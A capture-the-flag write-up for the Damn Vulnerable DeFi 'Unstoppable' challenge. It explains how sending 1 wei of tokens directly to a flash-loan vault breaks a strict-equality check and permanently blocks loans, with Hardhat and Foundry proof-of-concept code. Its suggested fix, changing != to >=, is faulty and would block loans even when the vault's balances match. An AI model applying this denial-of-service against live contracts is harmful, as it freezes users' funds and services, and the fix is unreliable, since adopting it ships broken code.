ctfwriteup.com
Search
⌃K

Unstoppable

DoS

Description

There's a tokenized vault with a million DVT tokens deposited. It’s offering flash loans for free, until the grace period ends.
To pass the challenge, make the vault stop offering flash loans.
You start with 10 DVT tokens in balance.

Code Audit

Our objective is to DoS the flash loan functionality, so we should be looking for things like require and revert.
In UnstoppableVault.flashLoan():
uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
If we can make convertToShares(totalSupply) and balanceBefore out of sync, then the flashLoan() call will revert. This can be a DoS attack. But how?
totalAssets():
/**
* @inheritdoc ERC4626
*/
function totalAssets() public view override returns (uint256) {
assembly { // better safe than sorry
if eq(sload(0), 2) {
mstore(0x00, 0xed3ba6a6)
revert(0x1c, 0x04)
}
}
return asset.balanceOf(address(this));
}
The assembly block tests if the storage slot 0 equals 2, and then moves something like a function selector into memory offset 0 and reverts. This looks like a defense menchanism so we can ignore it. In the end this function returns balanceOf(address(this)).
In flashLoan() we are actually testing if totalSupply is the same as balanceOf(address(this)), but recall that there are two ways of transferring ethers into this contract:
  1. 1.
    Through the vault.deposit() function -> this is the intended way
  2. 2.
    Call token.transfer() directly -> this is unintended and will break the if statement.
Secureum explained this bug:
Dangerous strict equalities: Use of strict equalities with tokens/Ether can accidentally/maliciously cause unexpected behavior. Consider using >= or <= instead of == for such variables depending on the contract logic. (see here)
To fix the code, we can just change != to >=:
uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) >= balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement

Hardhat Solution

Since this is the 1st challenge, we will be discussing the basic usages of Hardhat. For future challenges we will talk about the PoC only.
The test file is made of three parts:
  1. 1.
    before(): this is the setup code, similar to setUp() in Foundry.
  2. 2.
    it(): this is the PoC code waiting us to implement.
  3. 3.
    after(): this is the success condition. In this case we want to Dos the flash loan service.
Test variables and constants:
let deployer, player, someUser;
let token, vault, receiverContract;
const TOKENS_IN_VAULT = 1000000n * 10n ** 18n;
const INITIAL_PLAYER_TOKEN_BALANCE = 10n * 10n ** 18n;
Usually we want to use ethers.utils.parseEther('1000000') to handle token values. The 10n ** 18n expression is not clean.
Test setup:
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, player, someUser] = await ethers.getSigners();
token = await (await ethers.getContractFactory('DamnValuableToken', deployer)).deploy();
vault = await (await ethers.getContractFactory('UnstoppableVault', deployer)).deploy(
token.address,
deployer.address, // owner
deployer.address // fee recipient
);
expect(await vault.asset()).to.eq(token.address);
await token.approve(vault.address, TOKENS_IN_VAULT);
await vault.deposit(TOKENS_IN_VAULT, deployer.address);
expect(await token.balanceOf(vault.address)).to.eq(TOKENS_IN_VAULT);
expect(await vault.totalAssets()).to.eq(TOKENS_IN_VAULT);
expect(await vault.totalSupply()).to.eq(TOKENS_IN_VAULT);
expect(await vault.maxFlashLoan(token.address)).to.eq(TOKENS_IN_VAULT);
expect(await vault.flashFee(token.address, TOKENS_IN_VAULT - 1n)).to.eq(0);
expect(
await vault.flashFee(token.address, TOKENS_IN_VAULT)
).to.eq(50000n * 10n ** 18n);
await token.transfer(player.address, INITIAL_PLAYER_TOKEN_BALANCE);
expect(await token.balanceOf(player.address)).to.eq(INITIAL_PLAYER_TOKEN_BALANCE);
// Show it's possible for someUser to take out a flash loan
receiverContract = await (await ethers.getContractFactory('ReceiverUnstoppable', someUser)).deploy(
vault.address
);
await receiverContract.executeFlashLoan(100n * 10n ** 18n);
});
This should be pretty easy to understand. It just tests if the basic functionalities of the vault are working correctly.
PoC:
it('Execution', async function () {
// Transfer 1 wei directly to the contract to increase the vault's balance.
await token.connect(player).transfer(vault.address, 1);
});
The xxx.connect() is similar to vm.prank() in Foundry. We are impersonating the user player here.
Success condition:
after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
// It is no longer possible to execute flash loans
await expect(
receiverContract.executeFlashLoan(100n * 10n ** 18n)
).to.be.reverted;
});
When working with reverted and similar things, the await should be written outside expect. This is a pretty subtle thing that is easy to forget.
Run test using yarn:
yarn run unstoppable
Success
Passing means the receiverContract.executeFlashLoan() call reverts as expected.

Foundry Solution

This is the solution to Damn Vulnerable DeFi V2.
Since this is the 1st challenge, we are going to walkthrough the overall architecture of the Foundry test file. In the future we will just discuss the PoC itself.
The following is the Foundry template that will be used for every single challenge:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {Utilities} from "./utils/Utilities.sol";
contract BaseTest is Test {
Utilities internal utils;
address payable[] users;
uint256 numOfUsers;
uint256 etherAmountForUser;
string[] userLabels;
function preSetup(uint _numOfUsers, string[] memory _userLabels) internal {
numOfUsers = _numOfUsers;
userLabels = _userLabels;
etherAmountForUser = 100 ether;
}
function preSetup(uint _numOfUsers, uint256 _etherAmountForUser, string[] memory _userLabels) internal {
numOfUsers = _numOfUsers;
userLabels = _userLabels;
etherAmountForUser = _etherAmountForUser;
}
function setUp() public virtual {
// setup utils
utils = new Utilities();
// setup users
users = utils.createUsers(numOfUsers, etherAmountForUser, userLabels);
}
function runTest() public {
// run the exploit
exploit();
// verify the exploit
success();
}
function exploit() internal virtual {
/* IMPLEMENT YOUR EXPLOIT */
}
function success() internal virtual {
/* IMPLEMENT YOUR EXPLOIT */
}
}
The preSetup() function defines the number of users and the name of those users. If initial balance is not defined, the default is 100 ethers. The acutal creation of users happens in the setUp() function. Compared with Hardhat:
  • setUp() -> before()
  • exploit() -> it()
  • success() -> after()
Back to the challenge test file. Test variables and constants:
uint TOKENS_IN_POOL = 1000000 ether;
uint INITIAL_ATTACKER_TOKEN_BALANCE = 100 ether;
DamnValuableToken token;
UnstoppableLender pool;
ReceiverUnstoppable receiverContract;
address payable attacker;
address payable someUser;
preSetup() is called in the constructor:
constructor() {
string[] memory labels = new string[](2);
labels[0] = "Attacker";
labels[1] = "Some User";
preSetup(2, labels); // Define two users
}
Setup:
function setUp() public override {
super.setUp(); // User creation happens here
attacker = users[0];
someUser = users[1];
// setup contracts
token = new DamnValuableToken();
pool = new UnstoppableLender(address(token));
// setup tokens
token.approve(address(pool), TOKENS_IN_POOL);
pool.depositTokens(TOKENS_IN_POOL);
token.transfer(attacker, INITIAL_ATTACKER_TOKEN_BALANCE);
assertEq(token.balanceOf(address(pool)), TOKENS_IN_POOL);
assertEq(token.balanceOf(attacker), INITIAL_ATTACKER_TOKEN_BALANCE);
vm.startPrank(someUser);
receiverContract = new ReceiverUnstoppable(address(pool));
receiverContract.executeFlashLoan(10);
vm.stopPrank();
}
PoC:
function exploit() internal override {
vm.prank(attacker);
token.transfer(address(pool), 1);
}
vm.prank() is the same as the xxx.connect() in Hardhat.
Success condition:
function success() internal override {
/** SUCCESS CONDITIONS */
// It is no longer possible to execute flash loans
vm.expectRevert(stdError.assertionError);
vm.prank(someUser);
receiverContract.executeFlashLoan(10);
}